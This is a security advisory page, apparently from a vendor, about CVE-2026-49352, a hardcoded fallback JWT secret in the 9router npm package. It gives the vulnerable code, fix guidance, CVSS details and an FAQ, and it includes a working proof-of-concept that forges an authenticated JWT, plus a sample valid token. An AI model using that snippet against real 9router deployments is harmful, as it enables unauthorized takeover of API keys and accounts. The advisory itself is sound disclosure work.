CVE-2026-49352

9router's Hardcoded Default fallback JWT Secret Allows Authentication Bypass

const SECRET = new TextEncoder().encode(
  process.env.JWT_SECRET || "9router-default-secret-change-me"
);

const SECRET = new TextEncoder().encode(
  process.env.JWT_SECRET || "9router-default-secret-change-me"
);

import { SignJWT } from "jose";

const SECRET = new TextEncoder().encode("9router-default-secret-change-me");

const token = await new SignJWT({ authenticated: true })
  .setProtectedHeader({ alg: "HS256" })
  .setIssuedAt()
  .setExpirationTime("36y")
  .sign(SECRET);

console.log(token); // example a valid auth_token=eyJhbGciOiJIUzI1NiJ9.eyJhdXRoZW50aWNhdGVkIjp0cnVlLCJpYXQiOjE3Nzg3Njk4NTYsImV4cCI6MjkxNDg0MzQ1Nn0.enMLEqYZKFuzxkmRH6qd3E-Ub-20wOjmiEfP4KyIG6w

• A successful attack grants attacker full API Key, Auth Token that 9router hold
• They can read 9router apikey, change 9router password ,shutdown 9router, Modify everything
• Pivot via the MCP stdio→SSE bridge exposed at /api/mcp/ (exploit CVE-2026-46339)

Credentials are embedded in source code or a binary, making them accessible to anyone who can read the artifact. Typical impact: unauthorized access using the static credential.

CVE-2026-49352 has a CVSS score of 9.8 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.4.45); upgrading removes the vulnerable code path.

Kodem intelligence

Already deployed Kodem?

Require JWT_SECRET at startup and fail fast rather than falling back silently:

const jwtSecret = process.env.JWT_SECRET;
if (!jwtSecret) {
  throw new Error(
    "JWT_SECRET environment variable is not set. " +
    "Generate one with: openssl rand -hex 32"
  );
}
const SECRET = new TextEncoder().encode(jwtSecret);

Alternatively, auto-generate a random secret on first boot and persist it to the data directory, but never fall back to a publicly known constant.

1. What is CVE-2026-49352? CVE-2026-49352 is a critical-severity use of hard-coded credentials vulnerability in 9router (npm), affecting versions >= 0.2.21, <= 0.4.41. It is fixed in 0.4.45. Credentials are embedded in source code or a binary, making them accessible to anyone who can read the artifact.
2. How severe is CVE-2026-49352? CVE-2026-49352 has a CVSS score of 9.8 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of 9router are affected by CVE-2026-49352? 9router (npm) versions >= 0.2.21, <= 0.4.41 is affected.
4. Is there a fix for CVE-2026-49352? Yes. CVE-2026-49352 is fixed in 0.4.45. Upgrade to this version or later.
5. Is CVE-2026-49352 exploitable, and should I be worried? Whether CVE-2026-49352 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-49352 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-49352? Upgrade 9router to 0.4.45 or later.

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